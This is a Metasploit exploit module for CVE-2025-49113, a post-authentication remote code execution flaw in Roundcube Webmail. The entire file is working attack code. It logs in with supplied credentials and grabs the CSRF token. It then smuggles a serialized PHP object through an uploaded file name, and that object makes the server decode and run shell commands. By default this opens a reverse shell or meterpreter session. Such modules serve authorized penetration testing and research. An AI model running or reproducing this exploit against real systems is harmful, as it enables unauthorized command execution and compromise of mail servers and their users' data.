##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization',
'Description' => %q{
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
by authenticated users because the _from parameter in a URL is not validated
in program/actions/settings/upload.php, leading to PHP Object Deserialization.
An attacker can execute arbitrary system commands as the web server.
},
'Author' => [
'Maksim Rogov', # msf module
'Kirill Firsov', # disclosure and original exploit
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-49113'],
['URL', 'https://fearsoff.org/research/roundcube']
],
'DisclosureDate' => '2025-06-02',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Platform' => ['unix', 'linux'],
'Targets' => [
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Type' => :nix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('USERNAME', [true, 'Email User to login with', '' ]),
OptString.new('PASSWORD', [true, 'Password to login with', '' ]),
OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),
OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])
]
)
end
class PhpPayloadBuilder
def initialize(command)
@encoded = Rex::Text.encode_base32(command)
@gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
end
def build
len = @gpgconf.bytesize
%(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
end
end
def fetch_login_page
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'keep_cookies' => true,
'vars_get' => { '_task' => 'login' }
)
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
res
end
def check
res = fetch_login_page
unless res.body =~ /"rcversion"\s*:\s*(\d+)/
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
end
version = Rex::Version.new(Regexp.last_match(1).to_s)
print_good("Extracted version: #{version}")
if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
return CheckCode::Appears
elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
return CheckCode::Appears
end
CheckCode::Safe
end
def build_serialized_payload
print_status('Preparing payload...')
stager = case target['Type']
when :nix_cmd
payload.encoded
when :linux_dropper
generate_cmdstager.join(';')
else
fail_with(Failure::BadConfig, 'Unsupported target type')
end
serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"')
print_good('Payload successfully generated and serialized.')
serialized
end
def exploit
token = fetch_csrf_token
login(token)
payload_serialized = build_serialized_payload
upload_payload(payload_serialized)
end
def fetch_csrf_token
print_status('Fetching CSRF token...')
res = fetch_login_page
html = res.get_html_document
token_input = html.at('input[name="_token"]')
unless token_input
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
end
token = token_input.attributes.fetch('value', nil)
if token.blank?
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
end
print_good("Extracted token: #{token}")
token
end
def login(token)
print_status('Attempting login...')
vars_post = {
'_token' => token,
'_task' => 'login',
'_action' => 'login',
'_url' => '_task=login',
'_user' => datastore['USERNAME'],
'_pass' => datastore['PASSWORD']
}
vars_post['_host'] = datastore['HOST'] if datastore['HOST']
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => vars_post,
'vars_get' => { '_task' => 'login' }
)
fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302
print_good('Login successful.')
end
def generate_from
options = [
'compose',
'reply',
'import',
'settings',
'folders',
'identity'
]
options.sample
end
def generate_id
random_data = SecureRandom.random_bytes(8)
timestamp = Time.now.to_f.to_s
Digest::MD5.hexdigest(random_data + timestamp)
end
def generate_uploadid
millis = (Time.now.to_f * 1000).to_i
"upload#{millis}"
end
def upload_payload(payload_filename)
print_status('Uploading malicious payload...')
# 1x1 transparent pixel image
png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
boundary = Rex::Text.rand_text_alphanumeric(8)
data = ''
data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
data << "Content-Type: image/png\r\n\r\n"
data << png_data
data << "\r\n--#{boundary}--\r\n"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
})
print_good('Exploit attempt complete. Check for session.')
end
end